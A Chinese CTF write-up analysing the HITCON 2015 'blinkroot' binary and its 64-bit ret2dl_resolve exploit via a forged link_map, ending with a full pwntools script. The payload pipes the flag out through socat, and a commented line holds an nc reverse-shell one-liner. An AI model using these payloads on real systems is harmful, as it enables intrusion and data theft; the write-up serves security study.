概要
这题是在ray-cp的文章ret2dl_resolve_analysis里面看到的,被用作讲解64位下ret2dl_resolve攻击的例子。由于汇编代码里面有对xmm0寄存器的操作,做的事情也很奇怪,我搞了半天才弄明白程序的逻辑。这篇就把程序的逻辑和payload的布局梳理一下,其中伪造link_map结构体的部分看ray-cp的原文就好,不能比他说的更好了。
逆向与分析
基本信息:64位、保护开了nx和canary、符号没去
按照习惯拖到里面ida中看看
recvlen函数读取输入并返回读取的字节数
如果输入字符数不等于1024程序退出。正好等于1024的话标准输入、输出、错误被关闭。之后几行看ida反编译的代码没看懂,直接看看汇编吧。
代码很短,注意这里的xmm0是128位寄存器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000400550 <+0>: sub rsp,0x18
0x0000000000400554 <+4>: xor edi,edi
0x0000000000400556 <+6>: mov edx,0x400
0x000000000040055b <+11>: mov esi,0x600bc0
0x0000000000400560 <+16>: mov rax,QWORD PTR fs:0x28
0x0000000000400569 <+25>: mov QWORD PTR [rsp+0x8],rax
0x000000000040056e <+30>: xor eax,eax
0x0000000000400570 <+32>: call 0x4006d0 <recvlen>
0x0000000000400575 <+37>: xor edi,edi
0x0000000000400577 <+39>: cmp rax,0x400
0x000000000040057d <+45>: je 0x400584 <main+52>
0x000000000040057f <+47>: call 0x4004e0 <_exit@plt>
0x0000000000400584 <+52>: call 0x400510 <close@plt>
0x0000000000400589 <+57>: mov edi,0x1
0x000000000040058e <+62>: call 0x400510 <close@plt>
0x0000000000400593 <+67>: mov edi,0x2
0x0000000000400598 <+72>: call 0x400510 <close@plt>
0x000000000040059d <+77>: mov rax,QWORD PTR [rip+0x20061c] # 0x600bc0 <data>
# rax = *(QWORD*)data data的[0-7]bytes
0x00000000004005a4 <+84>: mov QWORD PTR [rsp],0x10 # 把栈顶赋值为0x10
0x00000000004005ac <+92>: mov esi,0x600bc8 # esi = &data+8
0x00000000004005b1 <+97>: lea rdx,[rax+0x600bc0] # rdx = rax+0x600bc0 target
# xmm0是128位寄存器
0x00000000004005b8 <+104>: movlps xmm0,QWORD PTR [rsp] # 移动到xmm0低64位; xmm0L = 0x10
0x00000000004005bc <+108>: movhps xmm0,QWORD PTR [rsi]
# 移动到xmm0高64位; xmm0H = *(QWORD*)(&data+8) = data[8-15]
0x00000000004005bf <+111>: movaps XMMWORD PTR [rdx],xmm0 #往target里面写入xmm0(128位)
0x00000000004005c2 <+114>: mov edi,0x600bd0 # edi = &data+0x10
0x00000000004005c7 <+119>: call 0x4004f0 <puts@plt>
0x00000000004005cc <+124>: xor edi,edi
0x00000000004005ce <+126>: jmp 0x40057f <main+47>
End of assembler dump.
|
翻译一下伪代码大概是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
char data[1024];
int main()
{
if (recvlen(0, data, 1024) == 1024) {
close(0);
close(1);
close(2);
rax = *(int64_t *)data;
target = rax+&data;
xmm0 = *(int64_t *)(data+8) << 64 + 0x10;
*(int128_t *)(target) = xmm0; //128位赋值
puts(&data+0x10);
}
exit(0);
}
|
再整理一下也就是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
char data[1024];
int main()
{
if (recvlen(0, data, 1024) == 1024) {
close(0);
close(1);
close(2);
int64_t offset = (int64_t)data
data[offset] = 0x10;
data[offset+8] = (int64_t)(data+8);
puts(data[16]);
}
exit(0);
}
|
可以看出,这里有任意地址写的漏洞。构造data结构如下,由于offset是可控的,所以我们能往data+offset处写入:
调试writeup
writeup中的payload如下:
1
2
3
4
5
6
7
8
9
10
11
|
addr=0x600BC0 # data地址
plt0=0x600B40
payload=p64(0x10000000000000000-(addr-plt0)) # offset
payload+=p64(addr+0x100) # payload
payload+="cat flag | socat - TCP4:127.0.0.1:1234;\x00" # arg
payload=payload.ljust(0x100,'\x00')
offset=libc.symbols['system']-libc.symbols['__libc_start_main']
got_libc_address=elf.got['__libc_start_main']
fake_link_map=build_link_map(addr+0x100,1,offset,got_libc_address)
payload+=fake_link_map
payload=payload.ljust(0x400,'\x00')
|
写入payload之后的内存状况:
可以看到payload希望在0x600b40处写入0x10,在0x600b48处写入0x600cc0,在0x600bd0处写参数。
0x600cc0在data范围内,payload在这里构造了某种数据结构。
target = data+offset,所以offset=target-data,由于要写入的地址小于data的地址,所以offset要加上0x10000000000000000否则p64会报错。
接下来问题就是为什么要在0x600b48处写,以及0x600cc0处的结构体是什么?
这题用的攻击叫做ret2dl_resolve,通过伪造关键数据结构改变解析函数地址时的逻辑。
可以看出0x600b48处的值会被当做函数_dl_fixup的第一个参数,这里是0x600cc0。
_dl_fixup的函数定义是这样的:
所以0x600cc0处构造的是一个link_map类型的结构体,结构体内容很多,有两百多行,这里就不方便贴出来了。可以到这里在线浏览。
writeup中伪造link_map结构体的函数,伪造的原理看下面的参考1吧。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
# 我们的调用参数: fake_link_map=build_link_map(0x600cc0, 1, offset, got_libc_address)
# offset=libc.symbols['system']-libc.symbols['__libc_start_main']
# got_libc_address=got_libc_address=elf.got['__libc_start_main']
def build_link_map(fake_addr,reloc_index,offset,got_libc_address):
# 来自https://github.com/ray-cp/pwn_debug/blob/master/pwn_debug/ret2dl_resolve.py
'''
linkmap:
0x00: START
0x00: l_addr (offset from libc_address to target address
0x08:
0x10:
0x14:
0x15:
0x18:
0x20:
0x28: # target address here
0x30: fake_jmprel #r_offset
0x38: #r_info should be 7
0x40: #r_addend 0
0x48:
0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
0x70: p_DT_SYMTAB = fake_DT_SYMTAB
0xf8: p_DT_JMPREL = fake_DT_JMPREL
0x100: END
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
'''
fake_link_map=p64(offset)
fake_link_map=fake_link_map.ljust(0x10,'\x00')
#fake_sym=p32(0) #st_name whatever
#fake_sym+=p32(0xffffffff) #st_other should not be 0
#fake_sym+=p64(got_libc_address-0x8) # st_value should be got libc_address
#fake_sym=fake_sym.ljust(0x18,'\x00')
#fake_link_map+= fake_sym
fake_link_map=fake_link_map.ljust(0x30,'\x00')
target_write=fake_addr+0x28
fake_jmprel=p64(target_write-offset) ## offset
fake_jmprel+=p64(7)
fake_jmprel+=p64(0)
fake_link_map+=fake_jmprel
fake_link_map=fake_link_map.ljust(0x68,'\x00')
fake_link_map+=p64(fake_addr) # DT_STRTAB
fake_link_map+=p64(fake_addr+0x78-8) #fake_DT_SYMTAB
fake_link_map+=p64(got_libc_address-8) # symtab_addr st->other==libc_address
fake_link_map+=p64(fake_addr+0x30-0x18*reloc_index)
fake_link_map=fake_link_map.ljust(0xf8,'\x00')
fake_link_map+=p64(fake_addr+0x80-8) #fake_DT_JMPREL
return fake_link_map
|
完整writeup
(基于ray-cp的exp修改)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
# -*- coding:utf-8 -*-
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# r = remote('52.68.31.117', 9547)
name = './blinkroot'
r = process(name)
p=r
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF(name)
def build_link_map(fake_addr,reloc_index,offset,got_libc_address):
'''
linkmap:
0x00: START
0x00: l_addr (offset from libc_address to target address
0x08:
0x10:
0x14:
0x15:
0x18:
0x20:
0x28: # target address here
0x30: fake_jmprel #r_offset
0x38: #r_info should be 7
0x40: #r_addend 0
0x48:
0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
0x70: p_DT_SYMTAB = fake_DT_SYMTAB
0xf8: p_DT_JMPREL = fake_DT_JMPREL
0x100: END
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
'''
fake_link_map=p64(offset)
fake_link_map=fake_link_map.ljust(0x10,'\x00')
#fake_sym=p32(0) #st_name whatever
#fake_sym+=p32(0xffffffff) #st_other should not be 0
#fake_sym+=p64(got_libc_address-0x8) # st_value should be got libc_address
#fake_sym=fake_sym.ljust(0x18,'\x00')
#fake_link_map+= fake_sym
fake_link_map=fake_link_map.ljust(0x30,'\x00')
target_write=fake_addr+0x28
fake_jmprel=p64(target_write-offset) ## offset
fake_jmprel+=p64(7)
fake_jmprel+=p64(0)
fake_link_map+=fake_jmprel
fake_link_map=fake_link_map.ljust(0x68,'\x00')
fake_link_map+=p64(fake_addr) # DT_STRTAB
fake_link_map+=p64(fake_addr+0x78-8) #fake_DT_SYMTAB
fake_link_map+=p64(got_libc_address-8) # symtab_addr st->other==libc_address
fake_link_map+=p64(fake_addr+0x30-0x18*reloc_index)
fake_link_map=fake_link_map.ljust(0xf8,'\x00')
fake_link_map+=p64(fake_addr+0x80-8) #fake_DT_JMPREL
return fake_link_map
addr=0x600BC0
plt0=0x600B40
payload=p64(2**64-(addr-plt0))
# offset = 2**64-(addr-plt0) = 2**64-addr+plt0
# addr + offset = 2**64+plt0
# payload=p64(0x10000000000000000-(addr-plt0)) # 2^64
payload+=p64(addr+0x100) # rcx dat+8
# payload+="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f"
payload += "cat flag | socat - TCP4:127.0.0.1:1234;\x00"
payload=payload.ljust(0x100,'\x00')
offset=libc.symbols['system']-libc.symbols['__libc_start_main']
got_libc_address=elf.got['__libc_start_main']
# ret2dl_resolve=pdbg.ret2dl_resolve()
# fake_link_map address is addr+0x100
# (0x0600cc0, 1, offset, start_main)
fake_link_map=build_link_map(addr+0x100,1,offset,got_libc_address)
payload+=fake_link_map # 0x0600cc0
payload=payload.ljust(0x400,'\x00')
#pdbg.bp(0x400575)
gdb.attach(r, """
set context-sections "disasm"
br *0x0040059d
""");
p.send(payload)
# print(str(r.proc.pid))
# gdb.attach(r, """
# heap
# """);
# print(str(r.proc.pid))
r.interactive()
|
参考
-
https://ray-cp.github.io/archivers/ret2dl_resolve_analysis#%E5%AE%9E%E4%BE%8Bhitcon2015blinkroot
-
https://ddaa.tw/hitcon_pwn_200_blinkroot.html
-
https://dangokyo.me/2018/01/26/hitcon-2015-quals-pwn-blinkroot-write-up/
-
https://delcoding.github.io/2019/03/ret2dl_resolve_x64/